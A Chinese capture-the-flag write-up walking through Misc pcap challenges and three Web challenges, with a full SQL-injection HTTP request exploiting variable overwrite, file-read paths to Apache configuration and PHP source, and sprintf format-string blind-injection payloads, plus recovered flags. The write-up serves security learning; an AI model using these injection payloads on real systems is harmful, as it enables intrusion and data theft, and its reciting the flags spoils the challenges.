一、Misc
1、签到
flag{w31c0me6}
2、pcap
192.168.74.132为客户端,192.168.74.1为服务端(用C/S架构看待通信流程)
客户端做读取操作
服务端返回的内容
在tcp流中读取flag
这里显示丢失数据,在flag中使用?表示掩码,个人猜测为需要爆破0-f
flag{d989e2b92ea671f5dc30efb5895?6eab1427625c}
3、pcap-analyse
追踪TCP流
客户端一次发送两个字节。人肉读取flag~
flag{323f986d429a689d3b96ad12dc5cbc701db0af55}
二、Web
1、千毒网盘
根目录存在www.zip源码文件泄露
可以看出考察变量覆盖以及sql注入,上面的unset刚好可以_POST给清掉,只要满足GET数组和POST数组一致
extract是在filter之后的,所以只要利用_GET将_POST覆盖掉,就可以无视filter了。
然后in_array利用弱类型的漏洞,只要相同数字开头的字符串即可
最终payload
POST /index.php?_POST[code]=666666'and'1'='2'%20union%20select%201,2,flag%20url%20from%20flag%23 HTTP/1.1
Host: eci-2ze3z5bed7exau1jgj1s.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3z5bed7exa8c77wzq.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3z5bed7exa8c77wzq.cloudeci1.ichunqiu.com/index.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
code=666666'and'1'='2'%20union%20select%201,2,flag%20url%20from%20flag%23
flag{83dd8a3b-1bea-439c-90ee-bd503816f1ea}
2、TryToLogin
file=/etc/apache2/sites-available/000-default.conf
读取apache2的Web根目录
DocumentRoot /var/www/secret_dir_2333/html
读取index.php文件
file=/var/www/secret_dir_2333/html/index.php
读取class.php
file=/var/www/secret_dir_2333/html/class.php
可以使用sprintf()格式化字符串漏洞对于addslashes()进行bypass
password=%1$',addslashes()处理之后变成password=%1$\'
但是password的%1$可以作为格式化字符串的占位符,而格式化字符串时,\会被消去,从而逃逸出一个'
POC:
username=&password=%1$'||1#
可以进行盲注
库名:ctf
%1$'||(ascii(substr((select database()),{},1))>{})#
使用sys.schema_table_statistics来bypass or
表名:fl4g
%1$'||(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{})#
flag:flag{daa5762b-538b-4c41-95e5-38b18f5aebe5}
%1$'||(ascii(substr((select * from fl4g),{},1))>{})#
flag{daa5762b-538b-4c41-95e5-38b18f5aebe5}
3、Hello
/help看代码可看出存在ssti模板注入
过滤了{{ 所以只有利用{% if判断来绕过
因为前面已经把/flag文件给删掉了,所以执行命令也没有用,只需要跳到globals读flag变量即可
最终exp
请问一下sys.schema_table_statistics_with_buffer后面的with_buffer是啥
就一库名